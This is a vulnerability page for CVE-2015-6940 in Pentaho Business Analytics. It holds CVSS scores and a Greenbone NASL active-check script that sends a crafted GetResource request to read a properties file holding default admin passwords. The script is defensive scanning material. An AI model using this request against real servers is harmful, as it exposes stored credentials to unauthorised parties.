CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
AI Score
Confidence
Low
EPSS
Percentile
76.1%
Pentaho Business Analytics is prone to an information
disclosure vulnerability.
# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:hitachivantara:pentaho_business_analytics";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.808208");
script_version("2024-06-28T15:38:46+0000");
script_tag(name:"last_modification", value:"2024-06-28 15:38:46 +0000 (Fri, 28 Jun 2024)");
script_tag(name:"creation_date", value:"2016-05-24 10:37:42 +0530 (Tue, 24 May 2016)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_cve_id("CVE-2015-6940");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"VendorFix");
script_name("Pentaho Business Analytics Information Disclosure Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2016 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_pentaho_business_analytics_http_detect.nasl");
script_mandatory_keys("pentaho/business_analytics/http/detected");
script_require_ports("Services/www", 8080);
script_tag(name:"summary", value:"Pentaho Business Analytics is prone to an information
disclosure vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"insight", value:"The flaw is due to the GetResource servlet, a vestige of the
old platform UI, allows unauthenticated access to resources in the pentaho-solutions/system
folder. Specifically vulnerable are properties files that may reveal passwords.");
script_tag(name:"impact", value:"Successful exploitation will allow unauthenticated access to
properties files in the system solution which include properties files containing passwords.");
script_tag(name:"affected", value:"Versions 4.5.x, 4.8.x, 5.0.x, 5.1.x and 5.2.x.");
script_tag(name:"solution", value:"Apply the patch from the referenced advisory.");
script_xref(name:"URL", value:"https://packetstormsecurity.com/files/133601");
script_xref(name:"URL", value:"https://support.pentaho.com/hc/en-us/articles/205782329-Security-Vulnerability-Announcement-Feb-2015");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
if (!port = get_app_port(cpe: CPE, service: "www"))
exit(0);
if (!dir = get_app_location(cpe:CPE, port:port))
exit(0);
if (dir == "/")
dir = "";
url = dir + "/GetResource?resource=system/defaultUser.spring.properties";
if (http_vuln_check(port: port, url: url, check_header: TRUE,
pattern:"defaultAdminUserPassword=", extra_check:"defaultNonAdminUserPassword=")) {
report = http_report_vuln_url(port: port, url: url);
security_message(port: port, data: report);
exit(0);
}
exit(99);